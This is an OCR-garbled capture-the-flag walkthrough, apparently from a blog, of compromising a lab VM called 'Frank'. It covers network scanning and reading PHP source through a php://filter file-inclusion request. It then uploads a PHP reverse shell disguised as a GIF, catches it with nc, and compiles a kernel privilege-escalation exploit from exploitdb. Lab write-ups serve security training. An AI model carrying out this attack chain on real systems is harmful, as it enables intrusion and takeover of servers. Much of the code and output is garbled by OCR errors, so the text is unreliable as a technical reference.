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root@kali:~# netdiscover -i ethe -r 10.0.3.0/24
Currently scanning: Finished! | Screen View: Unique Hosts

4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240

IP At MAC Address Count Len MAC Vendor / Hostname
10.0.3.1 00:50:56:c0:00:08 1 60 VMware, Inc.
10.0.3.2 00:50:56:ff:6c:8b 1 60 VMware, Inc.
10.0.3.130 00:0c:29:a7:4f:85 1 60 VMware, Inc.
10.0.3.254 00:50:56:e2:86:33 1 60 VMware, Inc.
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root@kali:~# nmap -A -p- 10.0.3.130
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-29 15:03 CST
Nmap scan report for 10.0.3.130
Host is up (0©.00062s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.5
| _ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|  STAT:
FTP server status:
Connected to 10.0.3.198
Logged in as ftp
TYPE: ASCII
No session bandwidth limit

Control connection is plain text
Data connections will be plain text
At session startup, client count was 4
vsFTPd 2.3.5 - secure, fast, stable
_End of status
22/tcp open ssh OpenSSH 5.9pl1 Debian 5Subuntul.1@ (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 d4:f8:c1:55:92:75:93:f7:7b:65:dd:2b:94:e8:bb:47 (DSA)
| 2048 3d:24:ea:4f:a2:2a:ca:63:b7:f4:27:01:d9:17:03:22 (RSA)
| _ 256 e2:54:a7:c7:ef:aa:8c:15:61:20:bd:aa:72:c0:17:88 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
| _http-server-header: Apache/2.2.22 (Ubuntu)
| _http-title: FRANK's Website | Under development
8011/tcp open http Apache httpd 2.2.22 ((Ubuntu))
| _http-server-header: Apache/2.2.22 (Ubuntu)
| _http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:A7:4F:85 (VMware)
Device type: general purpose
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| Session timeout in seconds is 300
I
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Running: Linux 2.6.X

OS CPE: cpe:/o:linux:linux_kernel:2.6

0S details: Linux 2.6.19 - 2.6.36

Network Distance: 1 hop

Service Info: 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.62 ms 10.0.3.130

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 45.40 seconds
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This API will be used to communicate with Frank's server

but it's still under development
*web_api.php
*records_api.php
*files_api.php

* database api.php
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No parameter called file passed to me
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* Here is my unfinished tools list

- the uploader tool (finished but need security review)
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A username and password are being requested by http://10.0.3.130. The site says: "Frank

Development Area”

User Name: | |

Password:
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* Here is my unfinished tools list

- the uploader tool (finished but need security review)
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Frank Uploader Script beta version

Select image to upload:

Browse... Mo file selected.

Upload Image

TODO : script security "50% FINISHED"
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File is not an image.Sorry, only JPG, |PEG, PNG & GIF files are allowed.Sorry, your file was not uploaded.

FATEAL—ANE R S, i —Akali® 77 1 jshell:
shell: /usr/share/webshells/php/php-reverse-shell.php
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Frank Uploader Script beta version

Select image to upload:

9.gif

Upload Image

TODO : script security "50% FINISHED"
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File is an image - image/gif.The file 9.gif has been uploaded to my uploads path.
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curl -d "file=php://filter/convert.base64-encode/resource=/var/www/development/uploader/upload.php” "http:
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?php

$target dir "FRANKuploads/";

$target_file - $target_dir . basename($ _FILES["fileToUpload"]["name"]);
$uploadOk - 1;

$imageFileType = strtolower{pathinfo($target_file,PATHINFO_EXTENSION));

(isset($ POST["submit™]}) {
$check = getimagesize($ FILES["fileToUpload"]["tmp_name™]);
{$check f {
echo "File is an image - " . %check["mime"] "
$uploadOk - 1;
{
echo "File is not an image.";
$uploadOk - @;

(file_exists($target_file)) {
echo "Sorry, file already
$uploadOk - @;

($_FILES["fileToUpload"]["size"]
echo "Sorry, your file is too large.

$uploadOk - @;

($imageFileType "jpg” $imageFileType "png"” $imageFileType "jpeg”
$imageFileType "gif" ) {

echo "Sorry, only JIPG, JPEG, PNG & GIF files are allowed.";

$uploadOk = @;

($uploadOk {
echo "Sorry, your file was not uploaded.”;

I
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(move_uploaded file($ FILES["fileToUpload”]["tmp_name"], $target file)) {

echo "The file ". basename( $ FILES["fileToUpload"]["name"]). " has been uploaded to my uploads path.";
I
L

echo "Sorry, there was an error uploading your file.™;

BAVER T BAE H%: FRANKuploads/
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:~# nc -nvlp
listening on [any] 4 ..
connect to [10.8.3.1 from (UNKNOWN) [10.0.3.130] 5797€
Linux ubuntu 2.6.35-19-generic #28-Ubuntu SMP Sun Aug 29 06:34:38 UTC 2018 x86 64 GNU/Linux
@7:58:13 up 3 days, 20:15, © users, load average: 0.00, 0.01, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33({www-data)
/bin/sh: can't access tty; job control turned off
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$ uname -a
Linux ubuntu 2.6. : 4 GNU/Linux

{/usr/share/exploitdb/)

Shellcodes: Mo Result

ARER, AT RS

(/usr/share/exploitdb/)

- (RedHat x86-64) - 'compat' Local Privi exploits/1linux x86-64/local/15024.c
Linux Kernel - VIDIOCSMICROCODE IOCTL Local Memory Overwrite exploits/linux/local/15344.c

Linux Kernel IGMP - Remote Denial of Service exploits/linux/dos/18378.c

Linux Kernel -rc8 - 'RDS Protocol' Local Privilege Escalation exploits/linux/local/15285.c

Linux Kernel < -rcl (Ubuntu 10.04 / 2.6.32) - 'CAN BCM' Local exploits/1linux/local/14814.c

Linux Kernel < -rcd-git2 (x86-64) - 'ia32syscall' Emulation P exploits/linux x86-64/local/15023.cC
Linux Kernel = -rcé (RedHat / Ubuntu 10.04) - 'pktcdvd' Kerne exploits/linux/local/15150.c

Linux Kernel < .2 (Ubuntu 10.84) - 'Half-Nelson.c' Econet Pri exploits/linux/local/17787.c
Linux/MIPS Kernel - 'NetUSB' Remote Code Execution exploits/multiple/remote/38454.py

Shellcodes: No Result hitps:/iblog.csdn.net/Jiajiajiang_

22 /usr/share/exploitdb/exploits/linux/local/15285.ch] H
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9.c
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:~# gcc 9.c -0 9
9.c: In function ‘prep_sock’:
9.c:66:25: warning: implicit declaration of function ‘inet_addr’'; did you mean ‘s6é_addr’'? [-Wimplicit-functio
n-declaration]
addr.sin addr.s addr = inet_addr("127.0.0.1");

9.c: In function ‘write_to_mem’:
9.c:136:3: warning: implicit declaration of function ‘wait’; did you mean ‘exit’? [-Wimplicit-function-declar
ation]

wait(MNULL);
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